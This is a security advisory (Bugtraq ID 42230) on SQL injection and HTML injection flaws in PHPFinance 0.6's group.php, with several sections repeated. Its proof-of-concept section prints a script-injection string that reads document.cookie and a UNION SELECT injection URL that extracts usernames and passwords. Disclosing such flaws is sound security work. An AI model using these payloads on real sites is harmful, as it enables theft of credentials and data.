PHPFinance 'group.php' SQL Injection and HTML Injection Vulnerabilities
BID:42230
Info
PHPFinance 'group.php' SQL Injection and HTML Injection Vulnerabilities
| Bugtraq ID: | 42230 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 05 2010 12:00AM |
| Updated: | Aug 05 2010 12:00AM |
| Credit: | ~skskilL |
| Vulnerable: |
PHPFinance PHPFinance 0.6 |
| Not Vulnerable: | |
Discussion
PHPFinance 'group.php' SQL Injection and HTML Injection Vulnerabilities
PHPFinance is prone to an SQL-injection vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker may exploit the HTML-injection issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is displayed, and launch other attacks.
The attacker may exploit the SQL-injection issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHPFinance 0.6 is vulnerable; other versions may also be affected.
PHPFinance is prone to an SQL-injection vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker may exploit the HTML-injection issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is displayed, and launch other attacks.
The attacker may exploit the SQL-injection issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHPFinance 0.6 is vulnerable; other versions may also be affected.
Exploit / POC
PHPFinance 'group.php' SQL Injection and HTML Injection Vulnerabilities
An attacker can exploit these issues through a browser.
The following examples are available:
HTML Injection
>"<iframe src=http://test.de> or >"<script>alert(document.cookie)</script><div style="1
SQL Injection
http://www.example.com/group.php?tname=-%27%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10%20concat(user,0x3a,pass),11,12,13,14,%20from%20xxxxx%20 ... /*
An attacker can exploit these issues through a browser.
The following examples are available:
HTML Injection
>"<iframe src=http://test.de> or >"<script>alert(document.cookie)</script><div style="1
SQL Injection
http://www.example.com/group.php?tname=-%27%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10%20concat(user,0x3a,pass),11,12,13,14,%20from%20xxxxx%20 ... /*
Solution / Fix
PHPFinance 'group.php' SQL Injection and HTML Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].
References
PHPFinance 'group.php' SQL Injection and HTML Injection Vulnerabilities
References:
References:
- PHPFinance Web Site (PHPFinance)